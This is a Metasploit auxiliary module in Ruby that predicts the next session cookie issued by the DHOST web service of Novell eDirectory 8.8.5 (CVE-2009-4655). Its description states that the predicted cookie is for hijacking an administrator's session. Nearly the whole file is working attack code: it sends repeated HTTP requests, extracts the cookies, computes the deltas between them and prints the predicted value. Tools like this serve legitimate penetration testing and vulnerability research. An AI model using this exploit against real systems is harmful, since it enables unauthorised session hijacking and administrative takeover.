Wei Chen
78 lines
2.1 KiB
Ruby
78 lines
2.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',
|
|
'Description' => %q{
|
|
This module is able to predict the next session cookie value issued
|
|
by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run
|
|
this module, wait until the real administrator logs in, then specify the
|
|
predicted cookie value to hijack their session.
|
|
},
|
|
'References' =>
|
|
[
|
|
['CVE', '2009-4655'],
|
|
['OSVDB', '60035']
|
|
],
|
|
'Author' => 'hdm',
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(8030),
|
|
OptBool.new('SSL', [true, 'Use SSL', true])
|
|
])
|
|
end
|
|
|
|
def run
|
|
vals = []
|
|
name = ""
|
|
|
|
print_status("Making 5 requests to verify predictions...")
|
|
1.upto(6) do
|
|
|
|
connect
|
|
req = "GET /dhost/ HTTP/1.1\r\n"
|
|
req << "Host: #{rhost}:#{rport}\r\n"
|
|
req << "Connection: close\r\n\r\n"
|
|
sock.put(req)
|
|
res = sock.get_once(-1,5)
|
|
disconnect
|
|
|
|
cookie = nil
|
|
if(res and res =~ /Cookie:\s*([^\s]+)\s*/mi)
|
|
cookie = $1
|
|
cookie,junk = cookie.split(';')
|
|
name,cookie = cookie.split('=')
|
|
cookie = cookie.to_i(16)
|
|
vals << cookie
|
|
end
|
|
end
|
|
|
|
deltas = []
|
|
prev_val = nil
|
|
vals.each_index do |i|
|
|
if(i > 0)
|
|
delta = vals[i] - prev_val
|
|
print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")
|
|
deltas << delta
|
|
end
|
|
prev_val = vals[i]
|
|
end
|
|
|
|
deltas.uniq!
|
|
if(deltas.length < 4)
|
|
print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")
|
|
else
|
|
print_status("The cookie value is less predictable, maybe this has been patched?")
|
|
print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
|
|
end
|
|
end
|
|
end
|